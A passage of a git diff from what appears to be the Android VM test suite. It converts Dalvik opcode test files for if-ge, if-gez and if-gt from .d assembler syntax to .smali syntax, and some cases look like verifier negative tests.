index 3593702..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_4.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-ge v6, v8, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.smali
new file mode 100644
index 0000000..bd168a9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_4.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ge v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.d
deleted file mode 100644
index ddf627e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_5.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-ge v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.smali
new file mode 100644
index 0000000..58830d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_5.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-ge v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.d
deleted file mode 100644
index 74e3506..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_6.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-ge v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.smali
new file mode 100644
index 0000000..9fd011f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_6.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-ge v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.d
deleted file mode 100644
index b3559bf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_7.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;I)I
-.limit regs 8
-
-       if-ge v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.smali
new file mode 100644
index 0000000..ec59e3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_7.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-ge v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.d
deleted file mode 100644
index 254da33..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_ge_9.java
-.class public dot.junit.opcodes.if_ge.d.T_if_ge_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-ge v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.smali
new file mode 100644
index 0000000..8b927c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ge/d/T_if_ge_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_ge_9.java"
+.class  public Ldot/junit/opcodes/if_ge/d/T_if_ge_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ge v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.d
deleted file mode 100644
index 85145e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_1.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.smali
new file mode 100644
index 0000000..4c2c5e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_1.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.d
deleted file mode 100644
index 503c0be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_10.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.smali
new file mode 100644
index 0000000..52f84d7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_10.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_10.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.d
deleted file mode 100644
index 3d0a858..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_2.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-gez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.smali
new file mode 100644
index 0000000..cd6db2a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_2.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-gez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.d
deleted file mode 100644
index a4bda68..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_3.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gez v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.smali
new file mode 100644
index 0000000..e2e5210
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_3.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gez v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.d
deleted file mode 100644
index 4a60845..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_4.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-gez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.smali
new file mode 100644
index 0000000..8d3a9c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_4.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-gez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.d
deleted file mode 100644
index c3d88e0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_5.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-gez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.smali
new file mode 100644
index 0000000..ed6eb70
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_5.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-gez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.d
deleted file mode 100644
index 666d59f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_6.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-gez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.smali
new file mode 100644
index 0000000..ce9cfbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_6.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-gez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.d
deleted file mode 100644
index 9534ba0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gez_7.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-gez v0, Label9
-       const/16 v0, 1234
-       return v0
-
-Label9:
-       const/4 v0, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.smali
new file mode 100644
index 0000000..61c13b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_7.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_gez_7.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-gez v0, :Label9
+       const/16 v0, 1234
+       return v0
+
+:Label9
+       const/4 v0, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.d
deleted file mode 100644
index f1df2d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gez_8.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.smali
new file mode 100644
index 0000000..3de8061
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_8.smali
@@ -0,0 +1,23 @@
+.source "T_if_gez_8.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.d
deleted file mode 100644
index a0b7545..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_gez_9.java
-.class public dot.junit.opcodes.if_gez.d.T_if_gez_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       const v5, 0
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.smali
new file mode 100644
index 0000000..c37add8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gez/d/T_if_gez_9.smali
@@ -0,0 +1,24 @@
+.source "T_if_gez_9.java"
+.class  public Ldot/junit/opcodes/if_gez/d/T_if_gez_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.d
deleted file mode 100644
index 293c1ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gt_1.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.smali
new file mode 100644
index 0000000..be54bb3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_gt_1.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.d
deleted file mode 100644
index 7dd9ab7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_gt_10.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/4 v6, 0
-       return v6
-
-Label11:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.smali
new file mode 100644
index 0000000..6b04c32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_gt_10.java"
+.class  public Ldot/junit/opcodes/if_gt/d/T_if_gt_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-gt v6, v7, :Label11
+       const/4 v6, 0
+       return v6
+
+:Label11
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.d
deleted file mode 100644
index 13fa794..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_gt_11.java
-.class public dot.junit.opcodes.if_gt.d.T_if_gt_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       if-gt v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.smali
new file mode 100644
index 0000000..c8ea86f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gt/d/T_if_gt_11.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
